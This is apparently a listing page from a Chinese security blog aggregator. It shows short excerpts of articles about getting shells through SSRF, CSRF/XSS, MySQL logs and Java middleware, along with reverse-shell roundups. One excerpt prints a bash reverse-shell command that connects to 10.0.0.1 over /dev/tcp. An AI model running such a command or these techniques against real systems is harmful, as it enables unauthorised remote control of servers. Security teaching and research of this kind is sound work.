漏洞影响只要有一处SSRF（此处用Discuz代替），既有可能造成GET SHELL，获取服务器所有权限。Discuz的一处SSRFDiscuz代码中存在一处远程下载图片的action so...
08月02日安全文章87 views评论get
shell
SSRF到GET SHELL
08月02日安全文章87 views评论get
shell
08月02日安全文章87 views评论get
shell
Dedecms 最新版本存储型xss+csrf（直接写shell）
首先是csrf，这里我挖到了个dedecms的恶意新建文件夹的csrf，是在新建文件夹的地方抓包哦~~表哥们不要看错了~~MUA~~补天好多提交dedecms的漏洞,不知道这个有没有被提交…希望可以通...
08月02日204 views评论shell
xss
【奇技淫巧】py正向连接cmdshell 解决篇+代码
之前提了一个问题：https://www.t00ls.net/viewthread.php?tid=26398，承蒙大家的关注，我后来想一想，暂时没有太好的解决方案，只能退而求其次，用多线程来解决re...
08月02日42 views评论shell
windows
反弹shell汇总
反弹shell方式：一、首先：什么是反弹shell？ 反弹shell（reverse shell），就是控制端监听在某TCP/UDP端口，被控端发起请求到该端口，并将其命令行的输入输出转到控制端。r...
07月29日105 views评论shell
端口
通过SSH反向SHELL
在探索libssh之后，我想做一些有用的事情，所以我的想法是有一种通过SSH进行反向shell。客户端通过端口转发连接到攻击者的ssh服务器攻击者机器端口8080将通过ssh隧道在本地主机上打开现在攻...
07月27日106 views评论shell
ssh
常见java WEB中间件获取shell
中间件（英语：Middleware）是提供系统软件和应用软件之间连接的软件，以便于软件各部件之间的沟通，特别是应用软件对于系统软件的集中的逻辑，在现代信息技术应用框架如Web服务、面向服务的体系结构等...
07月27日113 views评论java
web
linux下反弹shell的方法
Bash [不通用，跟linux发行版本有关，在ubuntu上测试成功]bash -i >& /dev/tcp/10.0.0.1/8080 0>&1PERLperl -e ...
07月27日安全文章49 views评论linux
shell
利用mysql general log 写shell[突破into outfile]
详情请 '阅读原文',或直接移步至个人博客 ，另外，博客音乐已关闭，也是希望大家以后能看的更舒心一些 :https://klionsec.github.io/2017/03/24/mysql...
07月25日68 views评论mysql
shell
超实用！18 个开箱即用的 Shell 脚本，拿好了~
1、检测两台服务器指定目录下的文件一致性#!/bin/bash######################################检测两台服务器指定目录下的文件一致性#############...
07月25日101 views评论shell
脚本
【奇技淫巧】无需下载直接反弹shell-蚁剑XSS/RCE之window/linux环境
今天爆出蚁剑的XSS到RCE，但是公布的是perl的利用方式，分享一个windows下直接反弹的姿势。使用AntSword要么主机安装有nodejs环境，要么使用官方提供的解析器，所以都是支持nodj...
07月25日313 views评论rce
xss
你和目标只差一个shell的距离
详情可直接 '阅读原文' , 亦可移步至个人博客 https://klionsec.github.io/2016/09/27/revese-shell...
07月25日38 views评论shell
红队
为什么我喜欢使用 IPython shell 和 Jupyter 笔记本 | Linux 中国
导读：Jupyter 笔记本将 IPython shell 提升到一个新的高度。 本文字数：1837，阅读时长大约：2分钟https://linux.cn/...
07月20日95 views评论linux
shell
71